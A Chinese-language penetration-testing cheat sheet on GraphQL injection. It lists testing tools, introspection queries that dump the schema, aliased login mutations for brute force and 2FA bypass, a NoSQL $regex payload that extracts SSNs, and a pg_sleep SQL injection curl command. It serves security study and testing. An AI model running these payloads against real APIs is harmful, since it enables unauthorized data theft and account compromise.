GraphQL 注入 (GraphQL Injection)
GraphQL 是一种用于 API 的查询语言,也是一个使用现有数据完成这些查询的运行时。GraphQL 服务通过定义类型和这些类型上的字段来创建,然后为每个类型的每个字段提供相应的函数。
摘要 (Summary)
工具 (Tools)
- swisskyrepo/GraphQLmap - 用于与 GraphQL 端点交互进行渗透测试的脚本引擎。
- doyensec/graph-ql - GraphQL 安全研究资料。
- doyensec/inql - 用于 GraphQL 安全测试的 Burp 扩展。
- doyensec/GQLSpection - 解析 GraphQL 内省模式并生成可能的查询。
- dee-see/graphql-path-enum - 列出在 GraphQL 模式中达到给定类型的不同路径。
- andev-software/graphql-ide - 用于探索 GraphQL API 的功能丰富的 IDE。
- mchoji/clairvoyancex - 在内省被禁用的情况下获取 GraphQL API 模式。
- nicholasaleks/CrackQL - 一个 GraphQL 密码暴力破解和模糊测试工具。
- nicholasaleks/graphql-threat-matrix - 安全专业人员使用的 GraphQL 威胁框架,用于研究 GraphQL 实现中的安全差距。
- dolevf/graphql-cop - GraphQL API 安全审计工具。
- dolevf/graphw00f - GraphQL 服务器引擎指纹识别工具。
- IvanGoncharov/graphql-voyager - 将任何 GraphQL API 表示为交互式图形。
- Insomnia - 跨平台 HTTP 和 GraphQL 客户端。
枚举 (Enumeration)
常见的 GraphQL 端点 (Common GraphQL Endpoints)
大多数情况下,GraphQL 位于 /graphql 或 /graphiql 端点。
更完整的列表可在 danielmiessler/SecLists/graphql.txt 找到。
识别注入点 (Identify An Injection Point)
example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}
检查错误是否可见。
通过内省枚举数据库模式 (Enumerate Database Schema via Introspection)
用于导出数据库模式的 URL 编码查询。
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
用于导出数据库模式的 URL 解码后的查询。
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
不带 Fragment 的单行查询,用于导出数据库模式。
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
通过建议枚举数据库模式 (Enumerate Database Schema via Suggestions)
当您使用未知关键字时,GraphQL 后端将显示与其模式相关的建议。
当 GraphQL API 的模式不可访问时,您也可以尝试使用 Escape-Technologies/graphql-wordlist 等词表对已知的关键字、字段和类型名称进行暴力破解。
枚举类型定义 (Enumerate Types Definition)
使用以下 GraphQL 查询枚举感兴趣类型的定义,将 "User" 替换为所选类型:
列出达某些类型的路径 (List Path To Reach A Type)
$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
发现 27 种从 "Query" 节点到达 "Skill" 节点的方法:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
...
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill
方法论 (Methodology)
提取数据 (Extract Data)

使用 Edges/Nodes 提取数据 (Extract Data Using Edges/Nodes)
使用投影提取数据 (Extract Data Using Projections)
别忘了转义 options 内部的双引号 (
")。
变更 (Mutations)
Mutation 的运作方式类似于函数,您可以使用它们与 GraphQL 进行交互。
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
GraphQL 分批攻击 (GraphQL Batching Attacks)
常见场景:
- 密码暴力破解放大场景
- 绕过速率限制 (Rate Limit)
- 绕过二次验证 (2FA)
基于 JSON 列表的分批操作 (JSON List Based Batching)
查询分批 (Query batching) 是 GraphQL 的一项功能,允许在单个 HTTP 请求中向服务器发送多个查询。客户端可以在发送到 GraphQL 服务器的单个 POST 请求中发送一个查询数组,而不是在单独的请求中发送每个查询。这减少了 HTTP 请求的数量,并可以提高应用程序的性能。
查询分批通过在请求主体中定义操作数组来工作。每个操作可以有自己的查询、变量和操作名称。服务器处理数组中的每个操作,并返回一个响应数组,对应的每个批量查询都有一个响应。
基于查询名称的分批操作 (Query Name Based Batching)
使用别名多次发送相同的 Mutation:
mutation {
login(pass: 1111, username: "bob")
second: login(pass: 2222, username: "bob")
third: login(pass: 3333, username: "bob")
fourth: login(pass: 4444, username: "bob")
}
注入 (Injections)
由于 GraphQL 只是客户端和数据库之间的一个层,因此 SQL 和 NoSQL 注入仍然是可能的。
NOSQL 注入
在 search 参数中使用 $regex。
{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
{
firstName lastName id patients{ssn}
}
}
SQL 注入
在 GraphQL 参数中发送一个单引号 ' 以触发 SQL 注入:
GraphQL 字段内部的简单 SQL 注入:
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
实验环境 (Labs)
- PortSwigger - 访问私有的 GraphQL 帖子
- PortSwigger - 意外暴露私有的 GraphQL 字段
- PortSwigger - 寻找隐藏的 GraphQL 端点
- PortSwigger - 绕过 GraphQL 暴力破解保护
- PortSwigger - 通过 GraphQL 执行 CSRF 攻击
- Root Me - GraphQL - 内省 (Introspection)
- Root Me - GraphQL - 注入 (Injection)
- Root Me - GraphQL - 后端注入
- Root Me - GraphQL - 变更 (Mutation)
参考资料 (References)
- 构建用于渗透测试的免费开源 GraphQL 词表 - Nohé Hinniger-Foray - 2023年8月17日
- 利用 GraphQL - AssetNote - Shubham Shah - 2021年8月29日
- GraphQL 分批攻击 - Wallarm - 2019年12月13日
- GraphQL 渗透测试演示文稿 - Alexandre ZANNI (@noraj) - 2022年12月1日
- API Hacking GraphQL - @ghostlulz - 2019年6月8日
- 发现 GraphQL 端点和 SQLi 漏洞 - Matías Choren - 2018年9月23日
- GraphQL 滥用:通过参数走私绕过账户级权限 - Jon Bottarini - 2018年3月14日
- Graphql 窃取他人地址的 Bug - Pratik Yadav - 2019年9月1日
- GraphQL 速查表 - devhints.io - 2018年11月7日
- GraphQL 内省 - GraphQL - 2024年8月21日
- 通过 JSON 类型进行 GraphQL NoSQL 注入 - Pete Corey - 2017年6月12日
- HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - 2019年6月22日
- 如何使用 Node.js, Express & MongoDB 设置 GraphQL 服务器 - Leonardo Maldonado - 2018年11月5日
- GraphQL 简介 - GraphQL - 2024年11月1日
- 内省查询泄露敏感的 GraphQL 系统信息 - @Zuriel - 2017年11月18日
- 为了乐趣和利益掠夺 GraphQL 端点 - @theRaz0r - 2017年6月8日
- 保护您的 GraphQL API 免受恶意查询攻击 - Max Stoiber - 2018年2月21日
- 通过 embedded_submission_form_uuid 参数在 GraphQL 端点中注入 SQL - Jobert Abma (jobert) - 2018年11月6日